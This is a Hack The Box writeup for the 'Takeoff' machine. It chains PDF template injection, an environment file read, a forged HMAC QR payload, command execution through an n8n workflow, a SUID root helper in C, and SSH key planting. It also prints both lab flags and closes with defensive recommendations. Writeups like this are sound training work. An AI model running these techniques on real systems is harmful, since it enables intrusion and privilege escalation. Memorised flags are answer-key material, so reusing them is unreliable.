Post

HackTheBox Writeup - Takeoff

HackTheBox Writeup - Takeoff

Takeoff is a Hard Linux machine on Hack The Box built around an airline booking application. The initial foothold is not a conventional login bypass or a simple injection in the visible HTML. Instead, the useful behavior is hidden in the ticket-generation path: user-controlled ticket notes are interpreted by a PDF template, and the rendering context exposes a file-reading method. That disclosure leads to the secret used to sign boarding-pass data, which lets us forge a QR payload and reach command execution.

The second half of the box is a lesson in following trust boundaries. The first command execution runs as www-data, but the application also exposes an internal n8n service on loopback. Using the leaked n8n API credential, we create an Execute Command workflow and execute commands as container root. The container’s /root directory is backed by the host user’s home directory, providing the path to SSH access and the final privilege escalation.

Scope note: This writeup documents an authorized Hack The Box lab. Do not reproduce these techniques against systems you do not own or have explicit permission to test.


Synopsis

PropertyValue
MachineTakeoff
DifficultyHard
Operating systemLinux
Target10.129.57.157
Hostnametakeoff.htb
External servicesSSH, HTTP
Initial accessTicket PDF template injection
User pivotForged QR command execution
Root pathInternal n8n Execute Command workflow

The two flags recovered during the lab were:

1
2
User: 8046a6248f09d37e0510cab85cfba6ae
Root: fc39b9c8bf3760d36041e4d589c9916c

Enumeration

VPN and Host Resolution

After connecting to the Hack The Box VPN, I confirmed that the tunnel was up and that the target route was present:

1
2
3
ip addr show tun0
ip route | grep 10.129
ping -c 3 10.129.57.157

The target was reachable through tun0. I also mapped the hostname locally:

1
10.129.57.157 takeoff.htb

Port Scanning

A full TCP scan showed a deliberately small external attack surface:

1
nmap -sC -sV -p- --min-rate 5000 -oN nmap-full.txt 10.129.57.157

The important results were:

1
2
22/tcp open  ssh  OpenSSH 10.0p2 Debian
80/tcp open  http nginx

There were no other externally reachable TCP services. The application behind nginx identified itself as a Go application using the Echo framework.

Web Application Reconnaissance

Opening http://takeoff.htb revealed an airline booking portal named HTB Airways. The frontend uses HTMX and several small JavaScript helpers for seat selection, profile tabs, airport lookups, and modal dialogs.

The main workflow is:

  1. Create an account.
  2. Search for a flight.
  3. Select a seat.
  4. Enter passenger information.
  5. Add a payment card.
  6. Confirm the booking.
  7. Download or display the boarding pass.

Relevant routes included:

1
2
3
4
5
6
7
8
/sign-up
/sign-in
/search/results
/book/start
/payment-cards
/trips
/tickets/<PNR>/download
/api/check-in

The application stores authentication in a JWT cookie named session_token. The token uses HS256 and rejects unsigned alg:none tokens, so changing the JWT alone was not a useful path.


The Booking Workflow

The interesting functionality was only available after completing a normal booking. I created a temporary lab account, selected a flight, added a test payment card, and completed the booking flow.

The resulting booking had:

1
2
3
PNR: B9TZ5Q
Schedule: 5464
Seat: 11A

The trip page exposed a ticket section with a QR code and a small Ticket Notes feature. Notes are presented as ordinary text in the trip view, but the same value is inserted into the downloadable PDF.

That difference between the HTML view and the PDF view was the first major clue.


Foothold: Ticket PDF Template Injection

Finding the Hidden Template Context

The visible trip page escaped template syntax, so entering a basic expression there did not immediately show an evaluation result. The PDF endpoint behaved differently:

1
GET /tickets/B9TZ5Q/download

I tested the note field with harmless template expressions and inspected the generated PDF. Expressions such as the following were evaluated by the PDF renderer:


This revealed a custom notes context similar to:

1
*handlers.notesCtx

The context contained request and user data, and, more importantly, exposed a custom .File method.

Reading Process Environment Data

The custom method could read files from the renderer’s process:


Reading /proc/self/environ disclosed sensitive process configuration, including:

  • The ticket validation HMAC secret.
  • An n8n API key.
  • Internal service configuration.

The secrets are intentionally not reproduced here. In a real application, secrets should never be exposed to a user-controlled document template or process environment that is reachable through a rendering primitive.

At this point the PDF issue had become more than an information disclosure: the recovered ticket-signing secret gave us a way to create a valid ticket payload with modified fields.


Forging a Boarding Pass

Understanding the QR Format

The QR data was not just a JSON string. It was a base64-encoded Go encoding/gob structure followed by a raw 32-byte HMAC-SHA256 signature.

The decoded object contained fields similar to:

1
2
3
4
5
6
7
{
  "PNR": "B9TZ5Q",
  "Token": "<ticket-token>",
  "Seat": "11A",
  "Passenger": "HTB Practice",
  "NotifyCmd": "check-in-notify --pnr B9TZ5Q --email user@example.htb"
}

The server validates the HMAC before accepting the check-in request. Modifying the JSON without recomputing the signature produced an invalid-signature response, confirming that the integrity check was active.

Rebuilding the Signed Payload

I recreated the expected Go structure, registered the correct pointer type name, serialized the modified object with encoding/gob, and appended an HMAC-SHA256 generated with the recovered key.

The important practical detail was preserving the exact key bytes. The secret was extracted from PDF text, and line wrapping introduced whitespace that initially caused the server to reject an otherwise correctly structured payload.

Once the key was reconstructed accurately, the forged QR was accepted:

1
2
3
POST /api/check-in
qr_data=<forged-data>
gate=WEB

The first safe proof of execution used:

1
id

The response confirmed command execution as the web service account:

1
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The NotifyCmd field was therefore an OS command execution primitive protected only by the ticket-signing secret.


Moving from www-data to n8n Root

Why the Direct Callback Was Not Useful

The first instinct was to send command output back to a listener on the VPN interface. The command executed, but callbacks to the local listener did not arrive. Rather than spending time forcing a reverse shell through an uncertain network path, I looked for an in-band channel.

The leaked environment data had already identified an internal n8n instance:

1
http://127.0.0.1:5678

The n8n API was not exposed on the target’s external interface, but the forged QR command runs on the target, so it can access loopback directly.

Creating an Execute Command Workflow

The n8n API accepted the leaked API key in the X-N8N-API-KEY header. I created a small workflow with two nodes:

  1. A GET webhook at /webhook/flex.
  2. An Execute Command node using the cmd query parameter.

The workflow definition was conceptually:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
  "name": "lab-flex",
  "nodes": [
    {
      "name": "Webhook",
      "type": "n8n-nodes-base.webhook",
      "parameters": {
        "httpMethod": "GET",
        "path": "flex",
        "responseMode": "lastNode"
      }
    },
    {
      "name": "Exec",
      "type": "n8n-nodes-base.executeCommand",
      "parameters": {
        "command": "="
      }
    }
  ]
}

The workflow initially existed but was inactive. Calling the activation endpoint made the production webhook available:

1
POST /api/v1/workflows/<workflow-id>/activate

The root execution proof was:

1
GET http://127.0.0.1:5678/webhook/flex?cmd=id

The workflow returned:

1
uid=0(root) gid=0(root) groups=0(root)

This was the key privilege boundary in the box: the public web application gave us www-data, while the internal automation service let us execute commands as root inside its container.


User Flag

The n8n command output could be written back into the authenticated ticket notes field. This provided a reliable in-band result channel without depending on an outbound callback.

The user flag was stored in the container’s /root directory:

1
cat /root/user.txt

The result was:

1
8046a6248f09d37e0510cab85cfba6ae

The directory listing also revealed an important mount relationship:

1
/root

was backed by the host user’s home directory. The directory ownership showed UID 1001, which identified the host account as kpark.


Privilege Escalation to Host Root

Understanding the Bind Mount

The n8n container’s /root was not an isolated container-only directory. It was the host user’s home directory mounted at a different path. That meant files created by the root n8n process in /root appeared in the host user’s home directory.

The first attempt was to copy /bin/bash into the mount and set the SUID bit. That binary came from the container and could not be executed on the host because its dynamic loader did not match the host environment.

The fix was to compile a small statically linked helper and use the container’s root privileges to change its ownership and mode:

1
2
3
4
5
6
7
8
9
#include <unistd.h>

int main(void) {
    setgid(0);
    setuid(0);
    execl("/bin/bash", "bash", "-p",
          "-c", "id; cat /root/root.txt", (char *)0);
    return 1;
}

The helper was copied into the mounted home directory, then the n8n workflow ran:

1
2
chown root:root /root/roothelper
chmod 4755 /root/roothelper

SSH Access

To access the host cleanly, I generated a temporary SSH key pair and added the public key to the mounted .ssh/authorized_keys file. The correct host username was kpark, matching UID 1001.

SSH access was then verified:

1
ssh -i takeoff_id_ed25519 kpark@10.129.57.157

From the SSH session, executing the SUID helper returned a root shell context and exposed the root flag:

1
2
uid=0(root) gid=0(root) groups=0(root),1001(kpark)
fc39b9c8bf3760d36041e4d589c9916c

The temporary key, helper files, and lab workflow were removed after verification.


Attack Chain Summary

The complete chain was:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Ticket Notes
    ↓
PDF template injection
    ↓
.File reads /proc/self/environ
    ↓
Recover ticket HMAC secret and n8n API key
    ↓
Forge Go gob + HMAC QR payload
    ↓
NotifyCmd command execution as www-data
    ↓
Create and activate n8n Execute Command workflow
    ↓
Execute commands as root inside the n8n container
    ↓
Read user.txt from /root
    ↓
Use the /root bind mount as host user's home
    ↓
Temporary SSH key + host-compatible SUID helper
    ↓
Root access and root.txt

Lessons Learned

1. Test the Complete Data Path

The HTML page escaped the note value, but the PDF endpoint used a separate rendering path. Testing only the visible page would have produced a false negative.

2. Look for Methods on Template Contexts

The useful primitive was not a global readFile or env function. It was a custom method attached to the rendering context:

(.File "/proc/self/environ")

When investigating a template engine, enumerating the context object can be more valuable than trying random helper names.

3. Signed Data Is Only as Strong as the Signing Secret

The QR format used an HMAC correctly, but the secret was exposed through the PDF renderer. Once the key leaked, the integrity check became an oracle for anyone who could reproduce the serialization format.

4. Internal Services Matter

The n8n instance did not appear in the external port scan because it listened on loopback. The existing command execution changed the scope of enumeration: 127.0.0.1 on the target was now more interesting than the externally visible interface.

5. Container Root Is Not Always Host Root

The n8n workflow gave root inside a container, not automatically root on the host. The decisive finding was the bind-mounted /root directory. From there, host-compatible file creation and SSH access provided a controlled path to host privilege escalation.


Defensive Recommendations

The vulnerable behaviors can be addressed directly:

  1. Never render user-controlled ticket notes as Go templates. Treat notes as data and escape them in every output format.
  2. Remove file-reading methods from template contexts exposed to user input.
  3. Keep signing keys and API keys out of broadly readable process environments where possible, and never expose /proc/self/environ through a rendering primitive.
  4. Do not execute user-controlled ticket fields with a shell. Use a fixed notification function with validated parameters.
  5. Restrict n8n to authenticated, least-privileged workflows and avoid exposing Execute Command nodes to untrusted input.
  6. Review container bind mounts. A service container should not have a writable mount of a host user’s home directory unless it is strictly required.
  7. Use separate service identities and filesystem permissions so container root cannot create trusted SSH credentials or privileged executables in host-user directories.
  8. Rotate all credentials and signing keys after exposure, including the ticket HMAC secret and n8n API key.

Both flags were recovered successfully. Takeoff is a good example of how a small output-format change, a leaked signing key, and an overlooked internal automation service can combine into a complete host compromise.

This post is licensed under CC BY 4.0 by the author.